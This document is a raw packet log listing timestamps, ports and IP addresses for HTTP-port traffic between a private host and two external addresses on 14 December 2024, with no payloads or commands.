Dec 14, 2024 14:56:28.845446110 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.846508980 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.846661091 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.847125053 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.847491026 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.847580910 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.847676992 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.848602057 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.848723888 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.849024057 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.849720001 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.849817991 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.849915981 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.850816011 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.850836039 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.851859093 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.851944923 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.851963043 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.852106094 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.853039980 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.853113890 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.853236914 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.854069948 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.854187012 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.854253054 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.855170012 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.855253935 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.855330944 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.856272936 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.856383085 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.856534004 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.857371092 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.857487917 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.857605934 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.858470917 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.858589888 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.858911037 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.859549046 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.859669924 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.859724998 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.860692978 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.860797882 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.860992908 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.861788034 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.861890078 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.862063885 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.862869978 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.862977028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.863251925 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.863961935 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.864078045 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.864145994 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.865067959 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.865161896 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.865334034 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.866146088 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.866276979 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.866352081 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.867264032 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.867364883 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.867415905 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.868344069 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.868463993 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.868518114 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.869448900 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.869585991 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.869642019 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.870543003 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.870665073 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.870764017 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.871624947 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.871762991 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.871807098 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.872730017 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.872853994 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.872898102 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.873843908 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.873969078 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.874022961 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.874949932 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.875056028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.875180960 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.876050949 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.876138926 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.876235008 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.876506090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.876554012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.876595020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.876652002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.877002001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.877042055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.877101898 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.877237082 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.877295017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.877309084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.877310991 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.877329111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.877342939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.878228903 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.878283024 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.878356934 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.878360033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.878396034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.878463984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.878498077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.879322052 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.879419088 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.879456043 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.879491091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.879642963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.879657030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.879678011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.880306959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.880350113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.880428076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.880440950 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.880462885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.880484104 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.880542994 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.881428957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.881470919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.881557941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.881571054 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.881603956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.881670952 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.882138968 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.882512093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.882550955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.882627010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.882638931 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.882658005 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.882678032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.882709026 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.883658886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.883693933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.883702040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.883714914 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.883733988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.883820057 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.883862019 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.884748936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.884788990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.884824991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.884836912 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.884860039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.884922028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.884989977 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.885890007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.885930061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.885935068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.885947943 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.885970116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.886046886 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.886171103 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.886997938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.887033939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.887090921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.887104034 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.887129068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.887253046 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.887347937 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.888122082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.888142109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.888151884 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.888168097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.888190031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.889194965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.889233112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.889350891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.889441967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.890316010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.890355110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.890412092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.890636921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.891422033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.891457081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.891529083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.891562939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.892612934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.892671108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.892679930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.892702103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.893698931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.893767118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.893790960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.893822908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.894772053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.894807100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.894867897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.894905090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.895919085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.895953894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.896003962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.896045923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.896982908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.897021055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.897088051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.897138119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.898116112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.898149967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.898200035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.898233891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.899280071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.899326086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.899358034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.899414062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.900368929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.900409937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.900521994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.900960922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.901741028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.901784897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.901809931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.901854038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.902592897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.902631998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.902673006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.902729034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.903706074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.903745890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.903800964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.903836012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.904845953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.904886961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.904918909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.904954910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.905966997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.906008005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.906039953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.906100988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.907035112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.907078981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.907150030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.907188892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.908149958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.908193111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.908236980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.908272028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.909311056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.909351110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.909370899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.909404039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.910402060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.910437107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.910520077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.910554886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.911480904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.911523104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.911627054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.911665916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.912765026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.912802935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.912916899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.913064003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.913860083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.913896084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.913980007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.914060116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.914865017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.914906979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.914979935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.915024042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.915947914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.915988922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.916047096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.916081905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.917057037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.917095900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.917170048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.917202950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.918237925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.918277979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.918323994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.918385983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.919317007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.919423103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.919430017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.919462919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.920418978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.920478106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.920521021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.920557022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.921560049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.921602011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.921628952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.921664953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.922642946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.922691107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.922727108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.922760963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.923762083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.923799992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.923877001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.923911095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.924905062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.924943924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.925004005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.925039053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.925993919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.926090002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.926132917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.927088022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.927122116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.927221060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.927253008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.928226948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.928277969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.928308964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.928344011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.929310083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.929343939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.929419994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.929512978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.930485010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.930520058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.930591106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.930624962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.931523085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.931560040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.931637049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.931735039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.932651043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.932683945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.932786942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.932821035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.933887959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.933922052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.933978081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.934012890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.934875011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.934916973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.961386919 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.020473957 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.020576954 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.020715952 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.020947933 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.021066904 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.021429062 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:29.022105932 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:29.022283077 CET	80	49879	185.81.68.147	192.168.2.5
